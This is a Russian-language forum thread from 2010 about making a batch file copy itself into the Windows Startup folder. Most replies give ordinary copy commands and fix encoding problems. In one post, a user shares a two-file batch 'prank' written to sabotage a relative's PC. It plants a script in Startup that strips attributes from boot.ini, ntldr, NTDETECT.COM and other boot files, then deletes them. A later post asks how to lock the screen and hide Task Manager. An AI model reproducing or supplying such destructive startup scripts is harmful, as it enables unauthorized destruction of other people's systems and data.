Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - [решено] как задать *bat'ник чтобы он сам себя скопировал в автозагрузку и файлы находящиеся р

Ответить
Настройки темы
CMD/BAT - [решено] как задать *bat'ник чтобы он сам себя скопировал в автозагрузку и файлы находящиеся р

Аватара для One THE darK

Старожил


Сообщения: 248
Благодарности: 14


Конфигурация

Профиль | Отправить PM | Цитировать


народ помогите...... как задать *bat'ник чтобы он сам себя скопировал в автозагрузку и файлы находящиеся рядом с ним.. (он сам будет находится на cd диске)???

Отправлено: 22:04, 09-02-2010

 

Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата One THE darK:
сам себя скопировал в автозагрузку и файлы находящиеся рядом с ним »
Код: Выделить весь код
COPY "%~dp0*.*" "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup"
Это сообщение посчитали полезным следующие участники:

Отправлено: 02:57, 10-02-2010 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Аватара для One THE darK

Старожил


Сообщения: 248
Благодарности: 14

Профиль | Отправить PM | Цитировать


amel27,
Цитата amel27:
COPY "%~dp0*.*" "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup" »
я это всё написал в батнике, но он всё равно не копируется в автозагрузку... =( пишет типа не является внутренней или внешней программой ..... может есть другой способ...

или я что то не так сделал?

Отправлено: 17:38, 10-02-2010 | #3


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата One THE darK:
пишет типа не является внутренней или внешней программой »
ошибка при ручном запуске батника с этими двумя строками?

Отправлено: 03:43, 11-02-2010 | #4


Новый участник


Сообщения: 8
Благодарности: 0

Профиль | Отправить PM | Цитировать


здравствуйте, воспользовался
COPY "%~dp0*.*" "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup"
выводит следующее
C:\>COPY "C:\*.*" "C:\Documents and Settings\1\├ыртэюх ьхэ■\╧ЁюуЁрьь√\└тЄючруЁєч
ър"
C:\44.bat
Системе не удается найти указанный путь.
Скопировано файлов: 0.

C:\>COPY "C:\*.*" "C:\Documents and Settings\1\Start Menu\Programs
C:\44.bat
Системе не удается найти указанный путь.
Скопировано файлов: 0.

подскажите где я ошибся. очень нужна функция самокопирования.

p.s.: я предпологаю что это может быть вызвано наличием русских букв, возможно ошибаюсь

зарание спасибо

Отправлено: 20:47, 09-03-2010 | #5


Аватара для seriych

Старожил


Сообщения: 182
Благодарности: 42

Профиль | Отправить PM | Цитировать


oleg1345140,
Надо набрать в вордпаде и сохранить в кодировке MS-DOS. Получится вот так, если в блокноте:
COPY "%~dp0*.*" "%USERPROFILE%\ѓ«*ў*®Ґ ¬Ґ*о\Џа®Ја*¬¬л\Ђўв®§*Јаг§Є*"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup"
Или воспользуйся этим:
http://forum.oszone.net/thread-169373.html

-------
* Книгой можно не только стаканчик с лапшой накрывать. ©

Это сообщение посчитали полезным следующие участники:

Отправлено: 22:30, 09-03-2010 | #6


Аватара для Genom2009

Новый участник


Сообщения: 5
Благодарности: 0

Профиль | Отправить PM | Цитировать


а как скопировать все файлы лежащие в папке с BATником, но без этого BATника?

-------
Хочу знать ВСЁ


Отправлено: 17:09, 10-03-2010 | #7


Аватара для seriych

Старожил


Сообщения: 182
Благодарности: 42

Профиль | Отправить PM | Цитировать


Genom2009,
Может проще его скопировать, а потом удалить?
Название батника известно? Если да, то так можно:
Код: Выделить весь код
for %%i in ("*") do if NOT "%%i"=="copyfiles.bat" COPY "%%i" "C:\OutDir"
copyfiles.bat - батник, который не надо копировать,
C:\OutDir - куда копировать.

PS
Можно и не зная имени батника:
Код: Выделить весь код
for %%i in ("*") do if NOT "%%i"=="%~nx0" COPY "%%i" "C:\OutDir"

-------
* Книгой можно не только стаканчик с лапшой накрывать. ©


Последний раз редактировалось seriych, 10-03-2010 в 19:31.

Это сообщение посчитали полезным следующие участники:

Отправлено: 19:04, 10-03-2010 | #8


Аватара для Genom2009

Новый участник


Сообщения: 5
Благодарности: 0

Профиль | Отправить PM | Цитировать


seriych, Спасибо, но я нашёл другое решение и упростил.
Потом удалить к сожалению не представляется возможным, т.к. копирование происходит в автозагрузку, а в автозагрузке и так достаточно всего будет.

Объясню ситуацию:
У знакомого все родные подсели на Линейч 2 и на этой почве назревает конфликт, задача состояла в том что бы убить систему ибо "загаживание" Линейч 2 не помогает.

Я решил написать небольшую "пакость"
1.BAT
COPY 2.BAT "%USERPROFILE%\ѓ«*ў*®Ґ ¬Ґ*о\Џа®Ја*¬¬л\Ђўв®§*Јаг§Є*"
COPY 2.BAT "%USERPROFILE%\Start Menu\Programs\Startup"
DEL 2.BAT
DEL Redmi.txt
DEL %0

2.BAT
attrib -S -H -R -A C:\boot.ini
attrib -S -H -R -A C:\NTDETECT.COM
attrib -S -H -R -A C:\AUTOEXEC.BAT
attrib -S -H -R -A C:\Bootfont.bin
attrib -S -H -R -A C:\ntldr
DEL C:\boot.ini /F /Q
DEL C:\NTDETECT.COM /F /Q
DEL C:\AUTOEXEC.BAT /F /Q
DEL C:\Bootfont.bin /F /Q
DEL C:\ntldr /F /Q
DEL %0

-------
Хочу знать ВСЁ


Отправлено: 19:34, 10-03-2010 | #9


Аватара для One THE darK

Старожил


Сообщения: 248
Благодарности: 14

Профиль | Отправить PM | Цитировать


доброго времени суток!!!
В данный момент столкнулся с такой проблемой, надо сделать через bat'ник, чтобы выводил изображение на экран и не давал его закрыть, пока не получит ответ на вопрос.
и попутный вопрос: возможно ли через bat'ник скрыть диспетчер задач?
выключить процесс (какой-нибудь)?
или выключить и запретить запуск этого процесса?


P.S.
возможно задать в bat'нике дату само запуска? или время в которое он запустится автоматически?

Всем спасибо в заранее!!!

Отправлено: 14:54, 10-06-2010 | #10



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - [решено] как задать *bat'ник чтобы он сам себя скопировал в автозагрузку и файлы находящиеся р

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
CMD/BAT - [решено] как задать в bat'нике чтобы cmd раскрылся на весь экран сам? One THE darK Скриптовые языки администрирования Windows 11 23-03-2010 17:17
CMD/BAT - [решено] как задать чтобы был запушен mp3 One THE darK Скриптовые языки администрирования Windows 5 22-01-2010 22:39
bat'ник mikola1983 Хочу все знать 10 03-08-2007 10:46
Как сотовый может сам себя окупать и зарабатывать для вас. Ultra Мобильные ОС, смартфоны и планшеты 5 28-02-2006 13:40
CMD/BAT - [решено] Как сделать чтобы *.bat-ник удалял сам себя? Maximlian Скриптовые языки администрирования Windows 2 06-04-2005 21:22




 
Переход